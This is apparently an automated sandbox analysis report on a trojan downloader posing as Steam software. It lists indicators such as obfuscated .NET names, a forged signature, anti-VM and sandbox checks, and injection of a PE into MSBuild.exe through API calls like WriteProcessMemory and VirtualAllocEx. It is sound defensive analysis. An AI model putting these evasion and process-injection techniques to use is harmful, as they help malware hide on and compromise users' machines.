Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"			Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, -Module-.cs	High entropy of concatenated method names: 'xsyrrUBBNS', 'KRlTSXSMVr', 'WYWzUbsxWk', 'MPPGHgATuX', 'QvCHnTsqeg', 'TLXIdyvYwp', 'BeEDfVcFmM', 'wYrYAAvolb', 'IbsQraRgCi', 'KBxfvMRZBs'
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, gzljghNctbQsWvZDQKeYkLVCckSsrSactuvzQYblAJsukakNdVQIPMfvEIhVovLAaNZBZzNSJTyAsAsbZfovcsnGpaVhQfWfYRux.cs	High entropy of concatenated method names: 'bJNEiYYVoFcdqfWigpyIAsmZDFbDWsCAgUapsJndtrsJYRQKjOYItLXJxOaCWvZVdBXvfGQxbvoiZCbMOqtitThuXrSDJLhYswGw', 'mYsCLnLilj', 'SeqDTnpAFD', 'aTFXVcyrKT', 'GAbiQtRTSK', 'caOfPnQFZC', 'NguAEtsvHJ', 'OtxsDrdhMA', 'wwIVAaeAiI', 'lTshgAgAEw'
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, FnmGkzqFwAPHszNzMywHbygsnzIFdOArfpKlmpxXRWKKxEBcyDjYhSSggTsKRLBHayCdOCnxbyPfOvVIYGgAECjmxDesWNgfucKY.cs	High entropy of concatenated method names: 'HSblphjXhB', 'MLbuoEyYQC', 'yWMywkGfYd', 'PpcWPRRkyN', 'kJEhdjMXCE', 'VbeszLgDOe', 'AeYdMwIfEw', 'NozdsPsEun', 'yIDtiNlJxd', 'LnvunfKAvH'
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, qaTRLKKYkeajSBOubKqXkTISKEftWNgVmsPSmYivyOwvpCCDJMBjnJGwrbghFrbxYfXzMWicBVzvxmDhcBJklWIDLsAlSbPgMZwj.cs	High entropy of concatenated method names: 'FcRNEyHskkZfyYfeIRlbxuOtwXkzfsJyQtCZKVFMppsAsvMTVLyVNvMloxrHohmRBBofwftMlyMhbnabkqEtUNKvGqLmEYyhcAYR', 'pBFTRQQzHK', 'kyASFzEFvf', 'qLPTMFsnKK', 'NgmhYbOlxk', 'KfyBKuecmr', 'KDeiADLMhm', 'yDOXWeltUE', 'Lthkulnnir', 'BpasakbeHu'
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, RoBWmpCUWkoSVrvysqryPUdMKNKFPQXXymZiqdaQtWbEczZENzSnPHhXlOlzEXffmruIrmhopAfTSyKlNgRqYKiQfcXCSBmwQVsL.cs	High entropy of concatenated method names: 'eqnBrDXoCneMeZMyfOhCjEDopFvOoIcXgZhwSqYuMTnRYlySONqbOPBANYlMiiaTlhFeSqFPQMPpqLqegDaAsaiqxGIUemmETtGQ', 'VHEDXIPlSb', 'rqOWIqMsRD', 'WvlMjvmXfC', 'pwhfGpXgfx', 'EOjcajfLFD', 'OQbxqzvRtB', 'wRfqMUjJqt', 'sFnuYhliMa', 'qBsBNyuJOg'
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, gHxPrLJoIEjawqwXDTXOQTyfuhinZFeAojUDSObidwMbgLPoBBDjDkbmisvkDwodzJLnvTePROKuhwYIrTLycVXeiIuAsRFHhJCx.cs	High entropy of concatenated method names: 'ZCSHwNsOAHeLtNSJKQbELHfNzExZjcmyUBJPbeboDjDADIhFZVWqHXMsxfiSqsExuGRSddIGONbCdEjQxSangVQXOrsVVjXkEggW', 'SbZtsEOniJ', 'rYVCEKuDtN', 'iXFuKdoSLk', 'GwfVevamUL', 'AelOkwAFmr', 'hnuyYUwEJo', 'pWCYcVTaxj', 'JhJImeMQko', 'CJFtctbGWk'

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple critical red flags: 1) Certificate issued from China (CN) which is a high-risk country for malware. 2) Signature validation failed - cannot build chain to trusted root authority. 3) Claims to be from Valve/Steam but uses suspicious organizational details (O=SHA384, OU=RSA4096) instead of legitimate Valve Corporation details. 4) Compilation timestamp is set to 2053, which is clearly impossible and indicates timestamp manipulation. 5) While Valve/Steam are legitimate software publishers, this certificate appears to be impersonating them with fake details. The combination of failed signature validation, Chinese origin, suspicious organizational fields, and impossible future compilation date strongly suggests this is a malicious attempt to masquerade as legitimate Steam software.

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe PID: 3928, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory allocated: 1720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory allocated: 3230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory allocated: 1720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4D20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 8884			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 969			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe TID: 1688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe TID: 1552	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1552	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2720	Thread sleep count: 8884 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2720	Thread sleep count: 969 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1177110987.00000000055D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: MSBuild.exe, 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp:K
Source: MSBuild.exe, 00000004.00000002.2393956128.00000000054A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, DInvokeCore.cs	Reference to suspicious API methods: DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref Parameters)
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, AntiProcess.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, SendToMemory.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, SendToMemory.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, SendToMemory.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, SendToMemory.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64)
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, SendToMemory.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num4, data, bufferSize, ref bytesRead)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Compiles code for process injection (via .Net compiler)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

File written: C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 57C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 57E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: C8D008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8956.tmp" "c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP"	Jump to behavior

Source: MSBuild.exe, 00000004.00000002.2388462794.0000000002D8D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000003045000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: MSBuild.exe, 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: MSBuild.exe, 00000004.00000002.2388462794.0000000002D8D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000003045000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002D87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe
Source: MSBuild.exe, 00000004.00000002.2388462794.0000000002D8D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000003045000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
